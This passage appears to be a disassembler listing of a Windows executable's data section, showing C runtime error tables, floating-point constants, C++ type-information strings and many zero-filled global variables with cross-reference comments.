					; sub_423638+11o ...
dword_43D45C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4D0	dd 3			; DATA XREF: ___:0042354Fr
					; sub_425C06+C8r
dword_43D4D4	dd 7			; DATA XREF: ___:00423555r
					; sub_425C06+CDr
dword_43D4D8	dd 0Ah			; DATA XREF: sub_423638+4r
					; sub_425D33+4r
dword_43D4DC	dd 8Ch			; DATA XREF: ___:00423579r
					; ___:00423586w ...
dword_43D4E0	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F8E3:loc_41F964o
					; sub_41FE2A:loc_41FEE7o
dword_43D4E8	dd 2			; DATA XREF: sub_423DD1+Eo
					; sub_423DD1+28r
off_43D4EC	dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
					; sub_423DD1+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B74h, 9, 427B48h, 0Ah,	427B24h, 10h, 427AF8h
		dd 11h,	427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
		dd 19h,	427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
		dd 78h,	427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349FCh
		dd 0FFh, 427940h
off_43D578	dd offset dword_4DC040	; DATA XREF: sub_423DD1+1Bo
					; sub_42413E+55o
		align 10h
		dd offset dword_4DC040
		dd 101h
dword_43D588	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42413E+72o
		dd 1000h, 0
dword_43D598	dd 3 dup(0)		; DATA XREF: sub_41FE2A+50o
					; sub_420CE6+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5B8	dd 3 dup(0)		; DATA XREF: sub_41FE2A+58o
					; sub_420CE6:loc_420D04o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5E8	dd 84h dup(0)		; DATA XREF: sub_42413E+9Bo
dword_43D7F8	dd 2 dup(0)		; DATA XREF: sub_42413E+69o
dword_43D800	dd 2694h		; DATA XREF: sub_421861+3r
					; sub_4218B4+46r
		align 8
dword_43D808	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_424CFCo
dword_43D820	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D838	dd 2 dup(0)		; DATA XREF: sub_42600E+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D998	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42600E+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43DAF4	dd offset off_427CEC	; DATA XREF: ___:00427EC4o
					; ___:00427FB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43DB0C	dd offset off_427CEC	; DATA XREF: ___:off_427D78o
					; ___:00427DB8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43DB2C	dd offset off_427CEC	; DATA XREF: ___:off_427DC0o
					; ___:00427E04o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43DB4C	dd offset off_427CEC	; DATA XREF: ___:off_427E0Co
					; ___:00427E50o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43DB70	dd offset off_427CEC	; DATA XREF: ___:off_427E58o
					; ___:00427E94o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_424F1C
		align 10h
dword_43DB90	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
byte_43DB98	db 0			; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
		align 10h
dword_43DBA0	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+AECo ...
		dd 5 dup(0)
dword_43DBB8	dd 0			; DATA XREF: sub_401ACD+B48r
					; sub_415C40+60r
		dd 2D9h	dup(0)
dword_43E720	dd 0			; DATA XREF: sub_401ACD+5D8Cr
					; sub_401ACD+5E61r ...
		dd 7Fh dup(0)
dword_43E920	dd 0			; DATA XREF: sub_40B3BA+41w
					; sub_40B4F5+40w ...
dword_43E924	dd 0			; DATA XREF: sub_40B3BA+47w
					; sub_40B4F5+46w ...
dword_43E928	dd 0			; DATA XREF: sub_40B3BA+52w
					; sub_40B4F5+3Ar ...
dword_43E92C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E930	dd 0			; DATA XREF: sub_40B4F5+75r
					; sub_40B6D6+2Aw ...
dword_43E934	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E938	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5CD7r ...
		align 4
		dd 1B85h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043493Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:004385D0o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_43903Co
dword_457444	dd 0E306h dup(0)
dword_49005C	dd 55B8h dup(0)		; DATA XREF: ___:off_432958o
		db 3 dup(0)
byte_4A573F	db 0			; DATA XREF: Themida_:00558243o
		dd 3DC5h dup(0)
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43166Co
		dd 0FBh	dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438EA8o
		dd 5936h dup(0)
dword_4CB720	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B3BA+13o ...
dword_4CB724	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_404494r ...
dword_4CB728	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB72C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB7AC	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB7EC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB87C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB880	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB890	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB894	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB898	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8A2r
word_4CB89C	dw 0			; DATA XREF: sub_401ACD+7BAFo
					; ___:0040AFA9o ...
		align 10h
dword_4CB8A0	dd 0			; DATA XREF: sub_409909+4A7w
					; sub_409909+4EBr
dword_4CB8A4	dd 0			; DATA XREF: sub_409909+65w
					; sub_419C09+166r
dword_4CB8A8	dd 0			; DATA XREF: sub_409909+80Bw
					; sub_409909+880r ...
dword_4CB8AC	dd 0			; DATA XREF: sub_409909+9D8w
					; sub_409909+A43r ...
dword_4CB8B0	dd 0			; DATA XREF: sub_409909+98Aw
					; sub_409909+A13r ...
dword_4CB8B4	dd 0			; DATA XREF: sub_409909+48Dw
					; sub_409909+4DBr
dword_4CB8B8	dd 0			; DATA XREF: sub_409909+213w
					; sub_409909+234r
dword_4CB8BC	dd 0			; DATA XREF: sub_409909+9CBw
					; sub_409909+A3Br ...
dword_4CB8C0	dd 0			; DATA XREF: sub_409909+372w
					; sub_409909+3C7r ...
dword_4CB8C4	dd 0			; DATA XREF: sub_409909+40Fw
					; sub_41AF8F+11Er
dword_4CB8C8	dd 0			; DATA XREF: sub_409909+37Fw
					; sub_409909+3CFr ...
dword_4CB8CC	dd 0			; DATA XREF: sub_409909+3C0w
					; sub_4191DB+ADr
dword_4CB8D0	dd 0			; DATA XREF: sub_409909+55Aw
					; sub_40FAD6+115r ...
dword_4CB8D4	dd 0			; DATA XREF: sub_409909+72w
					; sub_409909+D2r ...
dword_4CB8D8	dd 0			; DATA XREF: sub_409909+97Dw
					; sub_409909+A06r ...
dword_4CB8DC	dd 0			; DATA XREF: sub_409909+3A6w
					; sub_409909+3E7r ...
dword_4CB8E0	dd 0			; DATA XREF: sub_409909+859w
					; sub_409909+8ACr ...
dword_4CB8E4	dd 0			; DATA XREF: sub_409909+2A5w
					; sub_409909+2F0r
dword_4CB8E8	dd 0			; DATA XREF: sub_409909+84Cw
					; sub_409909+8A4r ...
dword_4CB8EC	dd 0			; DATA XREF: sub_409909+B3w
dword_4CB8F0	dd 0			; DATA XREF: sub_409909+866w
					; sub_409909+8B4r ...
dword_4CB8F4	dd 0			; DATA XREF: sub_409909+54Dw
					; sub_409909+6D0r ...
dword_4CB8F8	dd 0			; DATA XREF: sub_409909+58w
					; sub_409909+CAr ...
dword_4CB8FC	dd 0			; DATA XREF: sub_409909+934w
dword_4CB900	dd 0			; DATA XREF: sub_401ACD:loc_403ECBr
					; sub_409909+A95w ...
dword_4CB904	dd 0			; DATA XREF: sub_409909+A6w
					; sub_409909+F2r
dword_4CB908	dd 0			; DATA XREF: sub_409909+480w
					; sub_409909+4D3r
dword_4CB90C	dd 0			; DATA XREF: sub_409909+5F6w
					; sub_40C267+20r
dword_4CB910	dd 0			; DATA XREF: sub_409909+9BEw
					; sub_409909+A33r
dword_4CB914	dd 0			; DATA XREF: sub_409909+5E9w
					; sub_409909+754r ...
dword_4CB918	dd 0			; DATA XREF: sub_409909+A0Cw
dword_4CB91C	dd 0			; DATA XREF: sub_409909+B50w
					; sub_40DC41+9Ar
dword_4CB920	dd 0			; DATA XREF: sub_409909+7FEw
					; sub_409909+86Dr ...
dword_4CB924	dd 0			; DATA XREF: sub_409909+1B3w
					; sub_40B5B5+3Do ...
dword_4CB928	dd 0			; DATA XREF: sub_409909+997w
					; sub_409909+A1Br ...
dword_4CB92C	dd 0			; DATA XREF: sub_409909+38Cw
					; sub_409909+3D7r ...
dword_4CB930	dd 0			; DATA XREF: sub_409909+399w
					; sub_409909+3DFr ...
dword_4CB934	dd 0			; DATA XREF: sub_409909+C85w
					; sub_409909+C8Cr
dword_4CB938	dd 0			; DATA XREF: sub_409909+6ACw
					; ___:00411290r
dword_4CB93C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB940	dd 0			; DATA XREF: sub_409909+4B4w
dword_4CB944	dd 0			; DATA XREF: sub_409909+9E5w
					; sub_409909+A4Br ...
dword_4CB948	dd 0			; DATA XREF: sub_401000+51r
					; sub_409909+2B2w ...
dword_4CB94C	dd 0			; DATA XREF: sub_409909+7Fw
					; sub_409909+DAr ...
dword_4CB950	dd 0			; DATA XREF: sub_401ACD+5840r
					; sub_401ACD+781Er ...
dword_4CB954	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5037r ...
dword_4CB958	dd 0			; DATA XREF: sub_409909+825w
					; sub_409909+890r ...
dword_4CB95C	dd 0			; DATA XREF: sub_409909+9A4w
					; sub_409909+A23r
dword_4CB960	dd 0			; DATA XREF: sub_409909+C0Ew
					; sub_409909+C3Fr
dword_4CB964	dd 0			; DATA XREF: sub_409909+2CCw
					; sub_418A2E+47r
dword_4CB968	dd 0			; DATA XREF: sub_409909+22Dw
dword_4CB96C	dd 0			; DATA XREF: sub_409909+91Aw
					; sub_409909+92Er
dword_4CB970	dd 0			; DATA XREF: sub_409909+C28w
dword_4CB974	dd 0			; DATA XREF: sub_409909+2D9w
					; sub_418A2E+4Fr
dword_4CB978	dd 0			; DATA XREF: sub_409909+574w
					; sub_409909+6E8r ...
dword_4CB97C	dd 0			; DATA XREF: sub_409909+83Fw
					; sub_409909+873r
dword_4CB980	dd 0			; DATA XREF: sub_409909+220w
					; sub_409909+23Cr
dword_4CB984	dd 0			; DATA XREF: sub_409909+172w
					; sub_409909+1C2r
dword_4CB988	dd 0			; DATA XREF: sub_401ACD+1DCEr
					; sub_401ACD+59F9r ...
dword_4CB98C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+50C1r ...
dword_4CB990	dd 0			; DATA XREF: sub_409909+567w
					; sub_409909+6DCr ...
dword_4CB994	dd 0			; DATA XREF: sub_409909+8DBw
					; sub_409909:loc_40A202w ...
dword_4CB998	dd 0			; DATA XREF: sub_401000+26r
					; sub_409909+28Bw ...
dword_4CB99C	dd 0			; DATA XREF: sub_401ACD+77AFr
					; sub_409909+69Fw ...
dword_4CB9A0	dd 0			; DATA XREF: sub_409909+32Dw
					; sub_409909+341r ...
dword_4CB9A4	dd 0			; DATA XREF: sub_409909+3B3w
					; sub_409909+3EFr ...
dword_4CB9A8	dd 0			; DATA XREF: sub_409909+C01w
					; sub_409909+C37r
dword_4CB9AC	dd 0			; DATA XREF: sub_409909+818w
					; sub_409909+888r ...
dword_4CB9B0	dd 0			; DATA XREF: sub_409909+206w
					; sub_409909+227r
dword_4CB9B4	dd 0			; DATA XREF: sub_409909+18Cw
					; sub_409909+1D2r ...
dword_4CB9B8	dd 0			; DATA XREF: sub_409909+832w
					; sub_409909+898r ...
dword_4CB9BC	dd 0			; DATA XREF: sub_409909+624w
					; sub_409909+774r
dword_4CB9C0	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409909+2BFw ...
dword_4CB9C4	dd 0			; DATA XREF: sub_409909+66Bw
					; sub_409909+79Cr ...
dword_4CB9C8	dd 0			; DATA XREF: sub_409909+320w
					; sub_409909+334r ...
dword_4CB9CC	dd 0			; DATA XREF: sub_409909+644w
					; sub_409909+784r ...
dword_4CB9D0	dd 0			; DATA XREF: sub_409909+44Cw
					; sub_409909+4AEr
dword_4CB9D4	dd 0			; DATA XREF: sub_409909+199w
					; sub_409909+1DAr ...
dword_4CB9D8	dd 0			; DATA XREF: sub_409909+365w
					; sub_409909+3BAr ...
dword_4CB9DC	dd 0			; DATA XREF: sub_409909+AA2w
dword_4CB9E0	dd 0			; DATA XREF: sub_409909+5DCw
					; sub_409909+748r ...
dword_4CB9E4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5073r ...
dword_4CB9E8	dd 0			; DATA XREF: sub_409909+4Bw
					; sub_409909+C2r ...
dword_4CB9EC	dd 0			; DATA XREF: sub_409909+473w
					; sub_409909+4CBr
dword_4CB9F0	dd 0			; DATA XREF: sub_409909+165w
					; sub_409909+1BAr ...
dword_4CB9F4	dd 0			; DATA XREF: sub_409909+9FFw
					; sub_409909+A5Br ...
dword_4CB9F8	dd 0			; DATA XREF: sub_409909+685w
					; sub_409909+7ACr ...
dword_4CB9FC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+50D6r ...
dword_4CBA00	dd 0			; DATA XREF: sub_409909+C1Bw
					; sub_409909+C47r
dword_4CBA04	dd 0			; DATA XREF: sub_409909+3Ew
					; sub_409909+BAr ...
dword_4CBA08	dd 0			; DATA XREF: sub_401000+45r
					; sub_409909+298w ...
dword_4CBA0C	dd 0			; DATA XREF: sub_409909+651w
					; sub_409909+78Cr ...
dword_4CBA10	dd 0			; DATA XREF: sub_409909+637w
					; sub_409909+77Cr ...
dword_4CBA14	dd 0			; DATA XREF: sub_409909+C92w
dword_4CBA18	dd 0			; DATA XREF: sub_409909+879w
					; ___:00416C7Cr ...
dword_4CBA1C	dd 0			; DATA XREF: sub_409909+112w
dword_4CBA20	dd 0			; DATA XREF: sub_409909+BE7w
					; sub_409909+C22r
dword_4CBA24	dd 0			; DATA XREF: sub_401ACD+2F9Br
					; sub_401ACD+5EB8r ...
dword_4CBA28	dd 0			; DATA XREF: sub_409909+459w
					; sub_409909+4BBr
dword_4CBA2C	dd 0			; DATA XREF: sub_409909+49Aw
					; sub_409909+4E3r
dword_4CBA30	dd 0			; DATA XREF: sub_409909+466w
					; sub_409909+4C3r
dword_4CBA34	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+50F3r ...
dword_4CBA38	dd 0			; DATA XREF: sub_409909+1A6w
					; sub_409909+1E2r ...
dword_4CBA3C	dd 0			; DATA XREF: sub_409909+9F2w
					; sub_409909+A53r ...
dword_4CBA40	dd 0			; DATA XREF: sub_409909+158w
					; sub_409909+1ADr ...
dword_4CBA44	dd 0			; DATA XREF: sub_409909+8Cw
					; sub_409909+E2r ...
dword_4CBA48	dd 0			; DATA XREF: sub_409909+610w
					; sub_409909+764r ...
dword_4CBA4C	dd 0			; DATA XREF: sub_409909+B43w
					; sub_409909+B5Fr
dword_4CBA50	dd 0			; DATA XREF: sub_409909+33Aw
					; sub_419B9E+55r
dword_4CBA54	dd 0			; DATA XREF: sub_409909+27Ew
					; sub_409909+2D3r ...
dword_4CBA58	dd 0			; DATA XREF: sub_409909+BAAw
dword_4CBA5C	dd 0			; DATA XREF: sub_409909+AECw
					; sub_40A928+CEr
dword_4CBA60	dd 0			; DATA XREF: sub_409909+ADFw
					; sub_409909+AE6r ...
dword_4CBA64	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5052r ...
dword_4CBA68	dd 0			; DATA XREF: sub_401ACD+5044r
					; sub_401ACD+77D6r ...
dword_4CBA6C	dd 0			; DATA XREF: sub_409909+BF4w
					; sub_409909+C2Fr
dword_4CBA70	dd 0			; DATA XREF: sub_401ACD+1DF4r
					; sub_401ACD+5A1Fr ...
dword_4CBA74	dd 0			; DATA XREF: sub_409909+9B1w
					; sub_409909+A2Br ...
dword_4CBA78	dd 0			; DATA XREF: sub_409909+65Ew
					; sub_409909+794r ...
dword_4CBA7C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CBA80	dd 0			; DATA XREF: sub_409909+59Bw
					; sub_409909+70Cr ...
dword_4CBA84	dd 0			; DATA XREF: sub_409909+B36w
					; sub_409909+B57r ...
dword_4CBA88	dd 0			; DATA XREF: sub_409909+540w
					; sub_409909+6C4r ...
dword_4CBA8C	dd 0			; DATA XREF: sub_409909+B29w
					; sub_409909+B4Ar
dword_4CBA90	dd 0			; DATA XREF: ___:00401273r
					; sub_409909+31w ...
dword_4CBA94	dd 0			; DATA XREF: sub_409909+17Fw
					; sub_409909+1CAr
		dd 0
dword_4CBA9C	dd 0			; DATA XREF: sub_409909+927w
					; sub_409909+93Br
dword_4CBAA0	dd 0			; DATA XREF: sub_409909+99w
					; sub_409909+EAr ...
dword_4CBAA4	dd 0			; DATA XREF: sub_409909:loc_409A07w
					; sub_409909+12Bw ...
dword_4CBAA8	dd 0			; DATA XREF: sub_409909+126w
					; sub_40A5C5+1Cr
dword_4CBAAC	dd 0			; DATA XREF: sub_409909:loc_409AF7w
					; sub_409909:loc_409B5Ew ...
dword_4CBAB0	dd 0			; DATA XREF: sub_409909+250w
					; sub_40A5C5+50r
dword_4CBAB4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4468r ...
dword_4CBAB8	dd 0			; DATA XREF: sub_409909+41Ew
					; sub_40A5C5+84r
dword_4CBABC	dd 0			; DATA XREF: sub_409909:loc_409E0Dw
					; sub_40A5C5:loc_40A675r
dword_4CBAC0	dd 0			; DATA XREF: sub_409909+4FFw
					; sub_40A5C5+B8r
dword_4CBAC4	dd 0			; DATA XREF: sub_409909:loc_40A0DEw
					; sub_40A5C5:loc_40A6A9r
dword_4CBAC8	dd 0			; DATA XREF: sub_409909+7D0w
					; sub_40A5C5+ECr
dword_4CBACC	dd 0			; DATA XREF: sub_409909:loc_40A1C9w
					; sub_409909+8EFw ...
dword_4CBAD0	dd 0			; DATA XREF: sub_409909+8EAw
					; sub_40A5C5+120r
dword_4CBAD4	dd 0			; DATA XREF: sub_401ACD:loc_406E35r
					; sub_409909:loc_40A25Dw ...
dword_4CBAD8	dd 0			; DATA XREF: sub_409909+94Fw
					; sub_40A5C5+154r
dword_4CBADC	dd 0			; DATA XREF: sub_401ACD+4470r
					; sub_409909:loc_40A379w ...
dword_4CBAE0	dd 0			; DATA XREF: sub_409909+A6Bw
					; sub_40A5C5+188r
dword_4CBAE4	dd 0			; DATA XREF: sub_409909:loc_40A3C3w
					; sub_40A5C5:loc_40A779r
dword_4CBAE8	dd 0			; DATA XREF: sub_409909+AB5w
					; sub_40A5C5+1BCr
dword_4CBAEC	dd 0			; DATA XREF: sub_409909:loc_40A40Dw
					; sub_40A5C5:loc_40A7ADr
dword_4CBAF0	dd 0			; DATA XREF: sub_409909+AFFw
					; sub_40A5C5+1F0r
dword_4CBAF4	dd 0			; DATA XREF: sub_409909:loc_40A481w
					; sub_40A5C5:loc_40A7E1r
dword_4CBAF8	dd 0			; DATA XREF: sub_409909+B73w
					; sub_40A5C5+224r
dword_4CBAFC	dd 0			; DATA XREF: sub_409909:loc_40A4CBw
					; sub_40A5C5:loc_40A815r
dword_4CBB00	dd 0			; DATA XREF: sub_409909+BBDw
					; sub_40A5C5+258r
dword_4CBB04	dd 0			; DATA XREF: sub_409909:loc_40A569w
					; sub_40A5C5:loc_40A849r
dword_4CBB08	dd 0			; DATA XREF: sub_409909+C5Bw
					; sub_40A5C5+28Cr
dword_4CBB0C	dd 0			; DATA XREF: sub_409909:loc_40A5B3w
					; sub_40A5C5:loc_40A87Dr
dword_4CBB10	dd 0			; DATA XREF: sub_409909+CA5w
					; sub_40A5C5+2C0r
dword_4CBB14	dd 5 dup(0)		; DATA XREF: sub_40AA06+32o
byte_4CBB28	db 0			; DATA XREF: sub_40B2B3+6Ar
					; sub_40B2B3+98w
		align 10h
dword_4CBB30	dd 0			; DATA XREF: sub_40BD1A+18r
					; sub_40C2AF+92w ...
dword_4CBB34	dd 0			; DATA XREF: sub_40C3E8+4Dr
					; sub_40C3E8+2F1w ...
		dd 7FEh	dup(0)
dword_4CDB30	dd 6 dup(0)		; DATA XREF: sub_40C3E8+D2o
					; sub_40C3E8+13Bo ...
dword_4CDB48	dd 0			; DATA XREF: sub_40BD91+2C4w
					; sub_40BD91+348o
dword_4CDB4C	dd 0			; DATA XREF: sub_40BD91+33Ew
					; sub_40BD91+35Ar
dword_4CDB50	dd 0			; DATA XREF: sub_40BD91+2CFw
dword_4CDB54	dd 0			; DATA XREF: sub_40BD91+2B9w
					; sub_40BD91:loc_40C0A6r
dword_4CDB58	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBDC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBE0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBE8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBEC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCF0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDF4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDF8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDFC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDE00	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE84	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE88	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE90	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE94	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF98	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE09C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE0A0	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE0A4	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE0A8	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE12C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE130	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE138	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE13C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3C4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4D0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4D8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4DC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4E4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4EC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r
dword_4CE4F0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r
dword_4CE4F4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6FC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE704	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE708	dd 0			; DATA XREF: ___:0040EEF0r
		dd 0
		dd 0
dword_4CE714	dd 0			; DATA XREF: ___:0040EEC3r
dword_4CE718	dd 0			; DATA XREF: ___:0040EEA5r
					; ___:0040EF0Er
		align 10h
dword_4CE720	dd 0			; DATA XREF: sub_40BD91+2AEr
		align 8
dword_4CE728	dd 0			; DATA XREF: sub_40BA49+1Cr
dword_4CE72C	dd 0			; DATA XREF: ___:0040F9E9w
					; ___:0040FA10r ...
		dd 3 dup(0)
dword_4CE73C	dd 0			; DATA XREF: ___:00411306r
		dd 0
dword_4CE744	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		dd 10Ah	dup(0)
dword_4CEB70	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo
dword_4CF190	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		dd 11Ch	dup(0)
